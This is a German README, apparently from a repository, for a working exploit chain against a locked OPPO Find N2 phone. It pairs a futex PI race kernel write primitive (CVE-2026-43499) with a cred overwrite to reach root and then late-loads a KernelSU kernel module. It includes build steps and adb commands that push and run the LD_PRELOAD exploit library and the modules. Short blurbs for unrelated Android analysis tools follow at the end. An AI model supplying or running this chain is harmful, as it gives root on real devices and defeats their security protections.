OPPO Find N2 GhostLock (CVE-2026-43499) Exploit-Adaption
KernelSU Late-Load auf einem gesperrten OPPO Find N2 — vollständige Kette, selbstgebautes LKM, kein entsperrter Bootloader.
futex-PI write primitive → cred overwrite → ADRP overflow fixed → kernelsu.ko live
Eine vollständige, funktionierende Forschungskette, die ein selbst kompiliertes KernelSU-Kernelmodul in ein
unverändertes, OTA-gesperrtes OPPO Find N2 (PGU110 / SM8475) lädt — endend mit
su -c id → uid=0 … context=u:r:ksu:s0, während SELinux Enforcing bleibt.
Alles in lkm-build/ (der Loader, der Symbol-Wall-Shim, das Build-System) ist Originalarbeit
aus diesem Repo; der Userland-Exploit ist ein GPL-3.0-Port des matisse-Frameworks, angepasst
an dieses Gerät (siehe NOTICE).
① futex PI requeue race → kernel write primitive (GhostLock, CVE-2026-43499)
② task->cred = &init_cred → CapEff 0000000000000000 → 000001ffffffffff
③ gate check → capable() ✓ SELinux ✓ domain ✓ (the wall was never here)
④ finit_module → R_AARCH64_ADR_PREL_PG_HI21 overflow ← the real wall
fixed by -mcmodel=large: reloc-275 1497 → 0
⑤ kernelsu.ko live → /system/bin/su · u:r:ksu:s0 · SELinux Enforcing
| Write-Primitive | CapEff: 000001ffffffffff auf dem Gerät beobachtet (3/3 Läufe) |
| Relocation-Fix | Typ-275-Anzahl 1497 → 0 (ELF-.rela-Histogramm verifiziert) |
| Symbol-Wall | TRIM_UNUSED_KSYMS entfernte 49 Symbole → kprobe-Bootstrap + Forward-Defs → 0 undefiniert |
| SCM-Gate | scmversion auf g74d132f4467a festgelegt, bytegenau |
| Stabilität | Preflight-Gate + Reduced-Pressure-Recipe; finale Uptime 27h+ ohne Absturz |
# 1) kernel modules are built by GitHub Actions (build-lkm.yml) — download artifacts,
# or build locally:
KSRC=<vendor-tree> KSU=<KernelSU> CLANG=<clang12> CONFIG=config-5.10.236 \
bash lkm-build/build-lkm.sh
# 2) stage-A write primitive (userland)
adb push exploit-v29/build/oppo-find_n2/bin/preload.so /data/local/tmp/preload29.so
adb shell "LD_PRELOAD=/data/local/tmp/preload29.so /system/bin/toybox id" # uid=0
# 3) stage-B late-load
adb push lkm-build/out/ksu_min_load.ko lkm-build/out/kernelsu.ko /data/local/tmp/
# 4) verify
adb shell "su -c id" # uid=0 … context=u:r:ksu:s0
adb shell "grep kernelsu /proc/modules" # kernelsu … Live
exploit-v29/ userland exploit (matisse port, GPL-3.0) + Find-N2 offsets
lkm-build/ ★ original build system: loader · symbol shim · CI scripts
analysis-scripts/ ELF / symbol / offset tooling
test-programs/ standalone PoC probes (C sources only)
docs/ research notes · evidence logs · handoff snapshots
RESEARCH.md ★ full technical write-up (§1–§10)
Jede Sackgasse, jede dmesg-Zeile und jeder Fix ist in RESEARCH.md dokumentiert — einschließlich der Frage, warum die Berechtigungssperre nie das Problem war, wie der ADRP-Überlauf gefunden und beseitigt wurde und was sich nach dem OTA 5.10.246 geändert hat.
exploit-v29/lkm-build/minload/
ist eine eigenständige Implementierung, Vergleich in RESEARCH.md §8lkm-build/, Dokumentation, Skripte: GPL-2.0-only · exploit-v29/: GPL-3.0 (Upstream)
Automatisiertes Framework für Sicherheitstests mobiler Anwendungen für Android, iOS und Windows. Führt statische und dynamische Analyse, Malware-Erkennung und API-Sicherheitstests mit CI/CD-Integration durch.

Kommandozeilen- und GUI-Tool zum Dekompilieren von Android-Dex- und APK-Dateien in lesbaren Java-Quellcode, mit Ressourcendekodierung, Entschleierung und Smali-Debugging-Funktionen.

Ein Werkzeug zum Reverse Engineering von Android-APK-Dateien.